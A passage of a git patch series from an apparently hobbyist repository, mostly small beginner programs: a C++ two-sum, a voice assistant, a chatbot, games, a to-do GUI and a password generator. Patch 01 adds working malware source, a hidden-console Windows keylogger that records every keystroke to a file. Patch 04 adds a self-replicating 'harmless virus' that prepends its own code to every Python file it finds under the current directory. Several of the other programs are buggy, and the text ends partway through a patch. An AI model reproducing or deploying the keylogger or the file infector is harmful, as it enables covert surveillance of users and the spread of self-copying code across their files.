From 87be683771607a54403772bbdf4df35015354603 Mon Sep 17 00:00:00 2001 From: D3VILx0 <114437925+D3VILx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 00:33:35 +0530 Subject: [PATCH 01/27] Create Keylogger Using python --- Keylogger Using python | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 Keylogger Using python diff --git a/Keylogger Using python b/Keylogger Using python new file mode 100644 index 0000000..ae6cfab --- /dev/null +++ b/Keylogger Using python @@ -0,0 +1,33 @@ +# Python code for keylogger +# to be used in windows +import win32api +import win32console +import win32gui +import pythoncom, pyHook + +win = win32console.GetConsoleWindow() +win32gui.ShowWindow(win, 0) + +def OnKeyboardEvent(event): + if event.Ascii==5: + _exit(1) + if event.Ascii !=0 or 8: + #open output.txt to read current keystrokes + f = open('c:\output.txt', 'r+') + buffer = f.read() + f.close() + # open output.txt to write current + new keystrokes + f = open('c:\output.txt', 'w') + keylogs = chr(event.Ascii) + if event.Ascii == 13: + keylogs = '/n' + buffer += keylogs + f.write(buffer) + f.close() +# create a hook manager object +hm = pyHook.HookManager() +hm.KeyDown = OnKeyboardEvent +# set the hook +hm.HookKeyboard() +# wait forever +pythoncom.PumpMessages() From 630c083e24e3abae8801fdc28a0de259f3aa0000 Mon Sep 17 00:00:00 2001 From: Harshit Agrawal <68851827+Harshit101@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:59:27 +0530 Subject: [PATCH 02/27] two sum problem in c --- 2sum.cpp | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 2sum.cpp diff --git a/2sum.cpp b/2sum.cpp new file mode 100644 index 0000000..e212919 --- /dev/null +++ b/2sum.cpp @@ -0,0 +1,35 @@ +#include +using namespace std; +vector solve(int n, vector nums, int target){ +//CODE HERE + unordered_map mpp; + + for(int i=0;i nums; +int target; +cin >> n; +for (int i = 0; i < n; i++){ +int temp; +cin >> temp; +nums.push_back(temp); +} +cin >> target; +vector out = solve(n, nums, target); +for (int i: out){ +cout << i << ' '; +} +return 0; +} From 38e01abc46486beacc1533a32d5dea8e817717a1 Mon Sep 17 00:00:00 2001 From: D3VILx0 <114437925+D3VILx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 06:21:25 +0530 Subject: [PATCH 03/27] Create Voice Assistant using python --- Voice Assistant using python | 491 +++++++++++++++++++++++++++++++++++ 1 file changed, 491 insertions(+) create mode 100644 Voice Assistant using python diff --git a/Voice Assistant using python b/Voice Assistant using python new file mode 100644 index 0000000..f0a20c8 --- /dev/null +++ b/Voice Assistant using python @@ -0,0 +1,491 @@ + + + +```bash + pip install wolframalpha +``` + +Pyttsx3:- This module is used for the conversion of text to speech in a program it works offline. To install this module type the below command in the terminal. +pip install pyttsx3 + +Tkinter:- This module is used for building GUI and comes inbuilt with Python. This module comes built-in with Python. + +Wikipedia:- As we all know Wikipedia is a great source of knowledge just like GeeksforGeeks we have used the Wikipedia module to get information from Wikipedia or to perform a Wikipedia search. To install this module type the below command in the terminal. + +```bash +pip install wikipedia +``` +Speech Recognition:- Since we’re building an Application of voice assistant, one of the most important things in this is that your assistant recognizes your voice (means what you want to say/ ask). To install this module type the below command in the terminal. + +```bash +pip install SpeechRecognition +``` +Web browser:- To perform Web Search. This module comes built-in with Python. + +Ecapture:- To capture images from your Camera. To install this module type the below command in the terminal. + +```bash +pip install ecapture +``` +Pyjokes:- Pyjokes is used for the collection of Python Jokes over the Internet. To install this module type the below command in the terminal. +pip install pyjokes + +Datetime:- Date and Time are used to showing Date and Time. This module comes built-in with Python. + +Twilio:- Twilio is used for making calls and messages. To install this module type the below command in the terminal. + +```bash +pip install twilio +``` +Requests: Requests is used for making GET and POST requests. To install this module type the below command in the terminal. +pip install requests + +BeautifulSoup: Beautiful Soup is a library that makes it easy to scrape information from web pages. To install this module type the below command in the terminal. + +```bash +pip install beautifulsoup4 +``` +Note: You can remove some of the import files if you don’t want to get that feature as here Twilio for making calls and messages if you don’t want to use that you can simply remove that function. + +Implementation +Import the below libraries. + +```bash +import subprocess +import wolframalpha +import pyttsx3 +import tkinter +import json +import random +import operator +import speech_recognition as sr +import datetime +import wikipedia +import webbrowser +import os +import winshell +import pyjokes +import feedparser +import smtplib +import ctypes +import time +import requests +import shutil +from twilio.rest import Client +from clint.textui import progress +from ecapture import ecapture as ec +from bs4 import BeautifulSoup +import win32com.client as wincl +from urllib.request import urlopen +``` + +#### Now we will set our engine to Pyttsx3 which is used for text to speech in Python and sapi5 is a Microsoft speech application platform interface we will be using this for text to speech function +```bash +engine = pyttsx3.init('sapi5') +voices = engine.getProperty('voices') +engine.setProperty('voice', voices[1].id) +``` + +#### You can change the voice Id to “0” for the Male voice while using assistant here we are using a Female voice for all text to speech +```bash +def speak(audio): + engine.say(audio) + engine.runAndWait() + +def wishMe(): + hour = int(datetime.datetime.now().hour) + if hour>= 0 and hour<12: + speak("Good Morning Sir !") + + elif hour>= 12 and hour<18: + speak("Good Afternoon Sir !") + + else: + speak("Good Evening Sir !") + + assname =("Jarvis 1 point o") + speak("I am your Assistant") + speak(assname) + + +def username(): + speak("What should i call you sir") + uname = takeCommand() + speak("Welcome Mister") + speak(uname) + columns = shutil.get_terminal_size().columns + + print("#####################".center(columns)) + print("Welcome Mr.", uname.center(columns)) + print("#####################".center(columns)) + + speak("How can i Help you, Sir") + +def takeCommand(): + + r = sr.Recognizer() + + with sr.Microphone() as source: + + print("Listening...") + r.pause_threshold = 1 + audio = r.listen(source) + + try: + print("Recognizing...") + query = r.recognize_google(audio, language ='en-in') + print(f"User said: {query}\n") + + except Exception as e: + print(e) + print("Unable to Recognize your voice.") + return "None" + + return query + +def sendEmail(to, content): + server = smtplib.SMTP('smtp.gmail.com', 587) + server.ehlo() + server.starttls() + + # Enable low security in gmail + server.login('your email id', 'your email password') + server.sendmail('your email id', to, content) + server.close() +``` +#### Main Function starts here, we will now call all these functions in the main function. + +```bash +if __name__ == '__main__': + clear = lambda: os.system('cls') + + # This Function will clean any + # command before execution of this python file + clear() + wishMe() + username() + + while True: + + query = takeCommand().lower() + + # All the commands said by user will be + # stored here in 'query' and will be + # converted to lower case for easily + # recognition of command + if 'wikipedia' in query: + speak('Searching Wikipedia...') + query = query.replace("wikipedia", "") + results = wikipedia.summary(query, sentences = 3) + speak("According to Wikipedia") + print(results) + speak(results) + + elif 'open youtube' in query: + speak("Here you go to Youtube\n") + webbrowser.open("youtube.com") + + elif 'open google' in query: + speak("Here you go to Google\n") + webbrowser.open("google.com") + + elif 'open stackoverflow' in query: + speak("Here you go to Stack Over flow.Happy coding") + webbrowser.open("stackoverflow.com") + + elif 'play music' in query or "play song" in query: + speak("Here you go with music") + # music_dir = "G:\\Song" + music_dir = "C:\\Users\\GAURAV\\Music" + songs = os.listdir(music_dir) + print(songs) + random = os.startfile(os.path.join(music_dir, songs[1])) + + elif 'the time' in query: + strTime = datetime.datetime.now().strftime("% H:% M:% S") + speak(f"Sir, the time is {strTime}") + + elif 'open opera' in query: + codePath = r"C:\\Users\\GAURAV\\AppData\\Local\\Programs\\Opera\\launcher.exe" + os.startfile(codePath) + + elif 'email to gaurav' in query: + try: + speak("What should I say?") + content = takeCommand() + to = "Receiver email address" + sendEmail(to, content) + speak("Email has been sent !") + except Exception as e: + print(e) + speak("I am not able to send this email") + + elif 'send a mail' in query: + try: + speak("What should I say?") + content = takeCommand() + speak("whome should i send") + to = input() + sendEmail(to, content) + speak("Email has been sent !") + except Exception as e: + print(e) + speak("I am not able to send this email") + + elif 'how are you' in query: + speak("I am fine, Thank you") + speak("How are you, Sir") + + elif 'fine' in query or "good" in query: + speak("It's good to know that your fine") + + elif "change my name to" in query: + query = query.replace("change my name to", "") + assname = query + + elif "change name" in query: + speak("What would you like to call me, Sir ") + assname = takeCommand() + speak("Thanks for naming me") + + elif "what's your name" in query or "What is your name" in query: + speak("My friends call me") + speak(assname) + print("My friends call me", assname) + + elif 'exit' in query: + speak("Thanks for giving me your time") + exit() + + elif "who made you" in query or "who created you" in query: + speak("I have been created by Gaurav.") + + elif 'joke' in query: + speak(pyjokes.get_joke()) + + elif "calculate" in query: + + app_id = "Wolframalpha api id" + client = wolframalpha.Client(app_id) + indx = query.lower().split().index('calculate') + query = query.split()[indx + 1:] + res = client.query(' '.join(query)) + answer = next(res.results).text + print("The answer is " + answer) + speak("The answer is " + answer) + + elif 'search' in query or 'play' in query: + + query = query.replace("search", "") + query = query.replace("play", "") + webbrowser.open(query) + + elif "who i am" in query: + speak("If you talk then definitely your human.") + + elif "why you came to world" in query: + speak("Thanks to Gaurav. further It's a secret") + + elif 'power point presentation' in query: + speak("opening Power Point presentation") + power = r"C:\\Users\\GAURAV\\Desktop\\Minor Project\\Presentation\\Voice Assistant.pptx" + os.startfile(power) + + elif 'is love' in query: + speak("It is 7th sense that destroy all other senses") + + elif "who are you" in query: + speak("I am your virtual assistant created by Gaurav") + + elif 'reason for you' in query: + speak("I was created as a Minor project by Mister Gaurav ") + + elif 'change background' in query: + ctypes.windll.user32.SystemParametersInfoW(20, + 0, + "Location of wallpaper", + 0) + speak("Background changed successfully") + + elif 'open bluestack' in query: + appli = r"C:\\ProgramData\\BlueStacks\\Client\\Bluestacks.exe" + os.startfile(appli) + + elif 'news' in query: + + try: + jsonObj = urlopen('''https://newsapi.org / v1 / articles?source = the-times-of-india&sortBy = top&apiKey =\\times of India Api key\\''') + data = json.load(jsonObj) + i = 1 + + speak('here are some top news from the times of india') + print('''=============== TIMES OF INDIA ============'''+ '\n') + + for item in data['articles']: + + print(str(i) + '. ' + item['title'] + '\n') + print(item['description'] + '\n') + speak(str(i) + '. ' + item['title'] + '\n') + i += 1 + except Exception as e: + + print(str(e)) + + + elif 'lock window' in query: + speak("locking the device") + ctypes.windll.user32.LockWorkStation() + + elif 'shutdown system' in query: + speak("Hold On a Sec ! Your system is on its way to shut down") + subprocess.call('shutdown / p /f') + + elif 'empty recycle bin' in query: + winshell.recycle_bin().empty(confirm = False, show_progress = False, sound = True) + speak("Recycle Bin Recycled") + + elif "don't listen" in query or "stop listening" in query: + speak("for how much time you want to stop jarvis from listening commands") + a = int(takeCommand()) + time.sleep(a) + print(a) + + elif "where is" in query: + query = query.replace("where is", "") + location = query + speak("User asked to Locate") + speak(location) + webbrowser.open("https://www.google.nl / maps / place/" + location + "") + + elif "camera" in query or "take a photo" in query: + ec.capture(0, "Jarvis Camera ", "img.jpg") + + elif "restart" in query: + subprocess.call(["shutdown", "/r"]) + + elif "hibernate" in query or "sleep" in query: + speak("Hibernating") + subprocess.call("shutdown / h") + + elif "log off" in query or "sign out" in query: + speak("Make sure all the application are closed before sign-out") + time.sleep(5) + subprocess.call(["shutdown", "/l"]) + + elif "write a note" in query: + speak("What should i write, sir") + note = takeCommand() + file = open('jarvis.txt', 'w') + speak("Sir, Should i include date and time") + snfm = takeCommand() + if 'yes' in snfm or 'sure' in snfm: + strTime = datetime.datetime.now().strftime("% H:% M:% S") + file.write(strTime) + file.write(" :- ") + file.write(note) + else: + file.write(note) + + elif "show note" in query: + speak("Showing Notes") + file = open("jarvis.txt", "r") + print(file.read()) + speak(file.read(6)) + + elif "update assistant" in query: + speak("After downloading file please replace this file with the downloaded one") + url = '# url after uploading file' + r = requests.get(url, stream = True) + + with open("Voice.py", "wb") as Pypdf: + + total_length = int(r.headers.get('content-length')) + + for ch in progress.bar(r.iter_content(chunk_size = 2391975), + expected_size =(total_length / 1024) + 1): + if ch: + Pypdf.write(ch) + + # NPPR9-FWDCX-D2C8J-H872K-2YT43 + elif "jarvis" in query: + + wishMe() + speak("Jarvis 1 point o in your service Mister") + speak(assname) + + elif "weather" in query: + + # Google Open weather website + # to get API of Open weather + api_key = "Api key" + base_url = "http://api.openweathermap.org / data / 2.5 / weather?" + speak(" City name ") + print("City name : ") + city_name = takeCommand() + complete_url = base_url + "appid =" + api_key + "&q =" + city_name + response = requests.get(complete_url) + x = response.json() + + if x["code"] != "404": + y = x["main"] + current_temperature = y["temp"] + current_pressure = y["pressure"] + current_humidiy = y["humidity"] + z = x["weather"] + weather_description = z[0]["description"] + print(" Temperature (in kelvin unit) = " +str(current_temperature)+"\n atmospheric pressure (in hPa unit) ="+str(current_pressure) +"\n humidity (in percentage) = " +str(current_humidiy) +"\n description = " +str(weather_description)) + + else: + speak(" City Not Found ") + + elif "send message " in query: + # You need to create an account on Twilio to use this service + account_sid = 'Account Sid key' + auth_token = 'Auth token' + client = Client(account_sid, auth_token) + + message = client.messages \ + .create( + body = takeCommand(), + from_='Sender No', + to ='Receiver No' + ) + + print(message.sid) + + elif "wikipedia" in query: + webbrowser.open("wikipedia.com") + + elif "Good Morning" in query: + speak("A warm" +query) + speak("How are you Mister") + speak(assname) + + # most asked question from google Assistant + elif "will you be my gf" in query or "will you be my bf" in query: + speak("I'm not sure about, may be you should give me some time") + + elif "how are you" in query: + speak("I'm fine, glad you me that") + + elif "i love you" in query: + speak("It's hard to understand") + + elif "what is" in query or "who is" in query: + + # Use the same API key + # that we have generated earlier + client = wolframalpha.Client("API_ID") + res = client.query(query) + + try: + print (next(res.results).text) + speak (next(res.results).text) + except StopIteration: + print ("No results") + + # elif "" in query: + # Command go here + # For adding more commands +``` + From d8fd8cf7aa44d8d1b700d05e0ce006cdfd6ba75a Mon Sep 17 00:00:00 2001 From: D3VILx0 <114437925+D3VILx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 06:29:20 +0530 Subject: [PATCH 04/27] Create simple harmless virus --- simple harmless virus | 51 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 simple harmless virus diff --git a/simple harmless virus b/simple harmless virus new file mode 100644 index 0000000..35cfab2 --- /dev/null +++ b/simple harmless virus @@ -0,0 +1,51 @@ +#!/usr/bin/python +import os, datetime, inspect +DATA_TO_INSERT = "GEEKSFORGEEKS" + +#search for target files in path +def search(path): + filestoinfect = [] + filelist = os.listdir(path) + for filename in filelist: + + #If it is a folder + if os.path.isdir(path+"/"+filename): + filestoinfect.extend(search(path+"/"+filename)) + + #If it is a python script -> Infect it + elif filename[-3:] == ".py": + + #default value + infected = False + for line in open(path+"/"+filename): + if DATA_TO_INSERT in line: + infected = True + break + if infected == False: + filestoinfect.append(path+"/"+filename) + return filestoinfect + +#changes to be made in the target file +def infect(filestoinfect): + target_file = inspect.currentframe().f_code.co_filename + virus = open(os.path.abspath(target_file)) + virusstring = "" + for i,line in enumerate(virus): + if i>=0 and i <41: + virusstring += line + virus.close + for fname in filestoinfect: + f = open(fname) + temp = f.read() + f.close() + f = open(fname,"w") + f.write(virusstring + temp) + f.close() + +#Not required actually +def explode(): + if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: + print ("HAPPY APRIL FOOL'S DAY!!") +filestoinfect = search(os.path.abspath("")) +infect(filestoinfect) +explode() From efd2a1c84bee59d6793ee7abc92fbdfdf56a0ac3 Mon Sep 17 00:00:00 2001 From: D3VILx0 <114437925+D3VILx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 06:34:06 +0530 Subject: [PATCH 05/27] Create Chat Bot in Python --- Chat Bot in Python | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 Chat Bot in Python diff --git a/Chat Bot in Python b/Chat Bot in Python new file mode 100644 index 0000000..9d63341 --- /dev/null +++ b/Chat Bot in Python @@ -0,0 +1,26 @@ +# Import "chatbot" from +# chatterbot package. +from chatterbot import ChatBot + +# Inorder to train our bot, we have +# to import a trainer package +# "ChatterBotCorpusTrainer" +from chatterbot.trainers import ChatterBotCorpusTrainer + + +# Give a name to the chatbot “corona bot” +# and assign a trainer component. +chatbot=ChatBot('corona bot') + +# Create a new trainer for the chatbot +trainer = ChatterBotCorpusTrainer(chatbot) + +# Now let us train our bot with multiple corpus +trainer.train("chatterbot.corpus.english.greetings", + "chatterbot.corpus.english.conversations" ) + +response = chatbot.get_response('What is your Number') +print(response) + +response = chatbot.get_response('Who are you?') +print(response) From bb80382f685ad1d04e37e7d0b3e0a32fd0ecdbff Mon Sep 17 00:00:00 2001 From: LinuxGenic <105011561+LinuxGenic@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:04:17 +0530 Subject: [PATCH 06/27] Create Python program to implement Rock Paper Scissor game --- ...ogram to implement Rock Paper Scissor game | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 Python program to implement Rock Paper Scissor game diff --git a/Python program to implement Rock Paper Scissor game b/Python program to implement Rock Paper Scissor game new file mode 100644 index 0000000..0d38b73 --- /dev/null +++ b/Python program to implement Rock Paper Scissor game @@ -0,0 +1,98 @@ +# import random module +import random + +# Print multiline instruction +# performstring concatenation of string +print("Winning Rules of the Rock paper scissor game as follows: \n" + +"Rock vs paper->paper wins \n" + + "Rock vs scissor->Rock wins \n" + +"paper vs scissor->scissor wins \n") + +while True: + print("Enter choice \n 1 for Rock, \n 2 for paper, and \n 3 for scissor \n") + + # take the input from user + choice = int(input("User turn: ")) + + # OR is the short-circuit operator + # if any one of the condition is true + # then it return True value + + # looping until user enter invalid input + while choice > 3 or choice < 1: + choice = int(input("enter valid input: ")) + + + # initialize value of choice_name variable + # corresponding to the choice value + if choice == 1: + choice_name = 'Rock' + elif choice == 2: + choice_name = 'paper' + else: + choice_name = 'scissor' + + # print user choice + print("user choice is: " + choice_name) + print("\nNow its computer turn.......") + + # Computer chooses randomly any number + # among 1 , 2 and 3. Using randint method + # of random module + comp_choice = random.randint(1, 3) + + # looping until comp_choice value + # is equal to the choice value + while comp_choice == choice: + comp_choice = random.randint(1, 3) + + # initialize value of comp_choice_name + # variable corresponding to the choice value + if comp_choice == 1: + comp_choice_name = 'Rock' + elif comp_choice == 2: + comp_choice_name = 'paper' + else: + comp_choice_name = 'scissor' + + print("Computer choice is: " + comp_choice_name) + + print(choice_name + " V/s " + comp_choice_name) + #we need to check of a draw + if choice == comp_choice: + print("Draw=> ", end = "") + result = Draw + + # condition for winning + if((choice == 1 and comp_choice == 2) or + (choice == 2 and comp_choice ==1 )): + print("paper wins => ", end = "") + result = "paper" + + elif((choice == 1 and comp_choice == 3) or + (choice == 3 and comp_choice == 1)): + print("Rock wins =>", end = "") + result = "Rock" + else: + print("scissor wins =>", end = "") + result = "scissor" + + # Printing either user or computer wins or draw + if result == Draw: + print("<== Its a tie ==>") + if result == choice_name: + print("<== User wins ==>") + else: + print("<== Computer wins ==>") + + print("Do you want to play again? (Y/N)") + ans = input().lower + + + # if user input n or N then condition is True + if ans == 'n': + break + +# after coming out of the while loop +# we print thanks for playing +print("\nThanks for playing") From 03a232fb621d96f8489c5e8edc5b102cfdcebd8c Mon Sep 17 00:00:00 2001 From: LinuxGenic <105011561+LinuxGenic@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:08:15 +0530 Subject: [PATCH 07/27] Create Python | ToDo GUI Application using Tkinter --- Python | ToDo GUI Application using Tkinter | 183 ++++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 Python | ToDo GUI Application using Tkinter diff --git a/Python | ToDo GUI Application using Tkinter b/Python | ToDo GUI Application using Tkinter new file mode 100644 index 0000000..eb9787a --- /dev/null +++ b/Python | ToDo GUI Application using Tkinter @@ -0,0 +1,183 @@ +# import all functions from the tkinter +from tkinter import * + +# import messagebox class from tkinter +from tkinter import messagebox + +# global list is declare for storing all the task +tasks_list = [] + +# global variable is declare for counting the task +counter = 1 + +# Function for checking input error when +# empty input is given in task field +def inputError() : + + # check for enter task field is empty or not + if enterTaskField.get() == "" : + + # show the error message + messagebox.showerror("Input Error") + + return 0 + + return 1 + +# Function for clearing the contents +# of task number text field +def clear_taskNumberField() : + + # clear the content of task number text field + taskNumberField.delete(0.0, END) + +# Function for clearing the contents +# of task entry field +def clear_taskField() : + + # clear the content of task field entry box + enterTaskField.delete(0, END) + +# Function for inserting the contents +# from the task entry field to the text area +def insertTask(): + + global counter + + # check for error + value = inputError() + + # if error occur then return + if value == 0 : + return + + # get the task string concatenating + # with new line character + content = enterTaskField.get() + "\n" + + # store task in the list + tasks_list.append(content) + + # insert content of task entry field to the text area + # add task one by one in below one by one + TextArea.insert('end -1 chars', "[ " + str(counter) + " ] " + content) + + # incremented + counter += 1 + + # function calling for deleting the content of task field + clear_taskField() + +# function for deleting the specified task +def delete() : + + global counter + + # handling the empty task error + if len(tasks_list) == 0 : + messagebox.showerror("No task") + return + + # get the task number, which is required to delete + number = taskNumberField.get(1.0, END) + + # checking for input error when + # empty input in task number field + if number == "\n" : + messagebox.showerror("input error") + return + + else : + task_no = int(number) + + # function calling for deleting the + # content of task number field + clear_taskNumberField() + + # deleted specified task from the list + tasks_list.pop(task_no - 1) + + # decremented + counter -= 1 + + # whole content of text area widget is deleted + TextArea.delete(1.0, END) + + # rewriting the task after deleting one task at a time + for i in range(len(tasks_list)) : + TextArea.insert('end -1 chars', "[ " + str(i + 1) + " ] " + tasks_list[i]) + + +# Driver code +if __name__ == "__main__" : + + # create a GUI window + gui = Tk() + + # set the background colour of GUI window + gui.configure(background = "light green") + + # set the title of GUI window + gui.title("ToDo App") + + # set the configuration of GUI window + gui.geometry("250x300") + + # create a label : Enter Your Task + enterTask = Label(gui, text = "Enter Your Task", bg = "light green") + + # create a text entry box + # for typing the task + enterTaskField = Entry(gui) + + # create a Submit Button and place into the root window + # when user press the button, the command or + # function affiliated to that button is executed + Submit = Button(gui, text = "Submit", fg = "Black", bg = "Red", command = insertTask) + + # create a text area for the root + # with lunida 13 font + # text area is for writing the content + TextArea = Text(gui, height = 5, width = 25, font = "lucida 13") + + # create a label : Delete Task Number + taskNumber = Label(gui, text = "Delete Task Number", bg = "blue") + + taskNumberField = Text(gui, height = 1, width = 2, font = "lucida 13") + + # create a Delete Button and place into the root window + # when user press the button, the command or + # function affiliated to that button is executed . + delete = Button(gui, text = "Delete", fg = "Black", bg = "Red", command = delete) + + # create a Exit Button and place into the root window + # when user press the button, the command or + # function affiliated to that button is executed . + Exit = Button(gui, text = "Exit", fg = "Black", bg = "Red", command = exit) + + # grid method is used for placing + # the widgets at respective positions + # in table like structure. + enterTask.grid(row = 0, column = 2) + + # ipadx attributed set the entry box horizontal size + enterTaskField.grid(row = 1, column = 2, ipadx = 50) + + Submit.grid(row = 2, column = 2) + + # padx attributed provide x-axis margin + # from the root window to the widget. + TextArea.grid(row = 3, column = 2, padx = 10, sticky = W) + + taskNumber.grid(row = 4, column = 2, pady = 5) + + taskNumberField.grid(row = 5, column = 2) + + # pady attributed provide y-axis + # margin from the widget. + delete.grid(row = 6, column = 2, pady = 5) + + Exit.grid(row = 7, column = 2) + + # start the GUI + gui.mainloop() From 35b5ddfefdfeda4a2b1fe7ac90b10de831bdc55e Mon Sep 17 00:00:00 2001 From: LinuxGenic <105011561+LinuxGenic@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:12:36 +0530 Subject: [PATCH 08/27] Create Text detection using Python --- Text detection using Python | 133 ++++++++++++++++++++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 Text detection using Python diff --git a/Text detection using Python b/Text detection using Python new file mode 100644 index 0000000..103fb75 --- /dev/null +++ b/Text detection using Python @@ -0,0 +1,133 @@ +import time +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +from tkinter import * +import tkinter.messagebox +from nltk.sentiment.vader import SentimentIntensityAnalyzer + + +class analysis_text(): + + # Main function in program + def center(self, toplevel): + + toplevel.update_idletasks() + w = toplevel.winfo_screenwidth() + h = toplevel.winfo_screenheight() + size = tuple(int(_) for _ in + toplevel.geometry().split('+')[0].split('x')) + + x = w/2 - size[0]/2 + y = h/2 - size[1]/2 + toplevel.geometry("%dx%d+%d+%d" % (size + (x, y))) + + def callback(self): + if tkinter.messagebox.askokcancel("Quit", + "Do you want to leave?"): + self.main.destroy() + + def setResult(self, type, res): + + #calculated comments in vader analysis + if (type == "neg"): + self.negativeLabel.configure(text = + "you typed negative comment : " + + str(res) + " % \n") + elif (type == "neu"): + self.neutralLabel.configure( text = + "you typed comment : " + + str(res) + " % \n") + elif (type == "pos"): + self.positiveLabel.configure(text + = "you typed positive comment: " + + str(res) + " % \n") + + + def runAnalysis(self): + + sentences = [] + sentences.append(self.line.get()) + sid = SentimentIntensityAnalyzer() + + for sentence in sentences: + + # print(sentence) + ss = sid.polarity_scores(sentence) + + if ss['compound'] >= 0.05 : + self.normalLabel.configure(text = + " you typed positive statement: ") + + elif ss['compound'] <= - 0.05 : + self.normalLabel.configure(text = + " you typed negative statement") + + else : + self.normalLabel.configure(text = + " you normal typed statement: ") + for k in sorted(ss): + self.setResult(k, ss[k]) + print() + + + def editedText(self, event): + self.typedText.configure(text = self.line.get() + event.char) + + + def runByEnter(self, event): + self.runAnalysis() + + + def __init__(self): + # Create main window + self.main = Tk() + self.main.title("Text Detector system") + self.main.geometry("600x600") + self.main.resizable(width=FALSE, height=FALSE) + self.main.protocol("WM_DELETE_WINDOW", self.callback) + self.main.focus() + self.center(self.main) + + # addition item on window + self.label1 = Label(text = "type a text here :") + self.label1.pack() + + # Add a hidden button Enter + self.line = Entry(self.main, width=70) + self.line.pack() + + self.textLabel = Label(text = "\n", + font=("Helvetica", 15)) + self.textLabel.pack() + self.typedText = Label(text = "", + fg = "blue", + font=("Helvetica", 20)) + self.typedText.pack() + + self.line.bind("",self.editedText) + self.line.bind("",self.runByEnter) + + + self.result = Label(text = "\n", + font=("Helvetica", 15)) + self.result.pack() + self.negativeLabel = Label(text = "", + fg = "red", + font=("Helvetica", 20)) + self.negativeLabel.pack() + self.neutralLabel = Label(text = "", + font=("Helvetica", 20)) + self.neutralLabel.pack() + self.positiveLabel = Label(text = "", + fg = "green", + font=("Helvetica", 20)) + self.positiveLabel.pack() + self.normalLabel =Label (text ="", + fg ="red", + font=("Helvetica", 20)) + self.normalLabel.pack() + +# Driver code +myanalysis = analysis_text() +mainloop() From 5192b1203d756c8e4252e0f2d7ae304f3c84e083 Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:19:29 +0530 Subject: [PATCH 09/27] Create Generating Password and OTP in Java --- Generating Password and OTP in Java | 53 +++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 Generating Password and OTP in Java diff --git a/Generating Password and OTP in Java b/Generating Password and OTP in Java new file mode 100644 index 0000000..f793ad6 --- /dev/null +++ b/Generating Password and OTP in Java @@ -0,0 +1,53 @@ +// Java code to explain how to generate random +// password + +// Here we are using random() method of util +// class in Java +import java.util.*; + +public class NewClass +{ + public static void main(String[] args) + { + // Length of your password as I have choose + // here to be 8 + int length = 10; + System.out.println(geek_Password(length)); + } + + // This our Password generating method + // We have use static here, so that we not to + // make any object for it + static char[] geek_Password(int len) + { + System.out.println("Generating password using random() : "); + System.out.print("Your new password is : "); + + // A strong password has Cap_chars, Lower_chars, + // numeric value and symbols. So we are using all of + // them to generate our password + String Capital_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + String Small_chars = "abcdefghijklmnopqrstuvwxyz"; + String numbers = "0123456789"; + String symbols = "!@#$%^&*_=+-/.?<>)"; + + + String values = Capital_chars + Small_chars + + numbers + symbols; + + // Using random method + Random rndm_method = new Random(); + + char[] password = new char[len]; + + for (int i = 0; i < len; i++) + { + // Use of charAt() method : to get character value + // Use of nextInt() as it is scanning the value as int + password[i] = + values.charAt(rndm_method.nextInt(values.length())); + + } + return password; + } +} From 8652b5925a1810bbc71e0b13b6f02cb60935b887 Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:21:02 +0530 Subject: [PATCH 10/27] Delete Generating Password and OTP in Java --- Generating Password and OTP in Java | 53 ----------------------------- 1 file changed, 53 deletions(-) delete mode 100644 Generating Password and OTP in Java diff --git a/Generating Password and OTP in Java b/Generating Password and OTP in Java deleted file mode 100644 index f793ad6..0000000 --- a/Generating Password and OTP in Java +++ /dev/null @@ -1,53 +0,0 @@ -// Java code to explain how to generate random -// password - -// Here we are using random() method of util -// class in Java -import java.util.*; - -public class NewClass -{ - public static void main(String[] args) - { - // Length of your password as I have choose - // here to be 8 - int length = 10; - System.out.println(geek_Password(length)); - } - - // This our Password generating method - // We have use static here, so that we not to - // make any object for it - static char[] geek_Password(int len) - { - System.out.println("Generating password using random() : "); - System.out.print("Your new password is : "); - - // A strong password has Cap_chars, Lower_chars, - // numeric value and symbols. So we are using all of - // them to generate our password - String Capital_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - String Small_chars = "abcdefghijklmnopqrstuvwxyz"; - String numbers = "0123456789"; - String symbols = "!@#$%^&*_=+-/.?<>)"; - - - String values = Capital_chars + Small_chars + - numbers + symbols; - - // Using random method - Random rndm_method = new Random(); - - char[] password = new char[len]; - - for (int i = 0; i < len; i++) - { - // Use of charAt() method : to get character value - // Use of nextInt() as it is scanning the value as int - password[i] = - values.charAt(rndm_method.nextInt(values.length())); - - } - return password; - } -} From 768f46df02dfd62d8784bb047e2aabfc0320ea65 Mon Sep 17 00:00:00 2001 From: LinuxGenic <105011561+LinuxGenic@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:21:44 +0530 Subject: [PATCH 11/27] Create Generating Password and OTP in Java --- Generating Password and OTP in Java | 53 +++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 Generating Password and OTP in Java diff --git a/Generating Password and OTP in Java b/Generating Password and OTP in Java new file mode 100644 index 0000000..f793ad6 --- /dev/null +++ b/Generating Password and OTP in Java @@ -0,0 +1,53 @@ +// Java code to explain how to generate random +// password + +// Here we are using random() method of util +// class in Java +import java.util.*; + +public class NewClass +{ + public static void main(String[] args) + { + // Length of 